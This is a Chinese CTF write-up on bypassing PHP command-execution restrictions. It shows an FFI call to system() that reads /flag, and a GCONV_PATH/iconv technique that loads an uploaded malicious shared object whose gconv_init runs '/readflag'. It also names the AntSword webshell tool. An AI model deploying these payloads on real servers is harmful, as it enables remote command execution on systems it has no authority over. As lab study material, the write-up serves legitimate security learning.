传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了。

而C语言几十年的历史中,积累了大量的优秀的库,FFI直接让我们可以方便的享受这个庞大的资源了。

手工

1
2
3
4
5
6
7
8
9
<?php
# 创建了一个新的FFI(Foreign Function Interface)对象,并使用cdef方法定义了一个C语言的函数system。这个函数接受一个字符指针参数,并返回一个整数。在C语言中,system函数通常用于执行shell命令。
$ffi = FFI::cdef("int system(const char *command);");
# 调用了上面定义的system函数,传递了一个字符串参数"tac /flag > /tmp/123"。这个字符串是一个shell命令,它的功能是读取名为flag的文件(通常位于Web服务器的文档根目录),并将其内容以反向顺序写入
$ffi->system("tac /flag > /tmp/123");
# 使用PHP的file_get_contents函数读取/tmp/123文件的内容,并将其输出到屏幕上。
echo file_get_contents("/tmp/123");
# 最后,这行代码使用PHP的unlink函数删除/tmp/123文件。使用@符号是为了抑制可能出现的错误消息。
@unlink("/tmp/123");

上传之后访问页面

蚁剑

没什么好说的,直接用插件就行了

iconv执行命令

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

1
2
3
4
iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
之后会调用.so文件中的gconv()与gonv_init()函数。
然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

1
2
3
4
iconv_open函数依照GCONV_PATH找到gconv-modules文件。
根据gconv-modules文件的指示找到参数对应的.so文件。
调用.so文件中的gconv()和gonv_init()函数。
一些其他步骤。

首先上传gconv-modules文件于/tmp文件夹,其格式如下:

1
2
module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2

我是写成

1
2
module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2

再书写hack.c文件:

1
2
3
4
5
6
7
8
include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("/readflag > /tmp/flag");
}

编译成.so文件

1
gcc hack.c -o hack.so -shared -fPIC

将生成的.so文件上传到/tmp。

再上传shell.php

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");
?>

访问shell.php就能看到/tmp文件夹下有flag了

蚁剑

蚁剑还是太超标了

总结

实在是懒得手动就直接蚁剑解决了吧,但是手动也能学到一些东西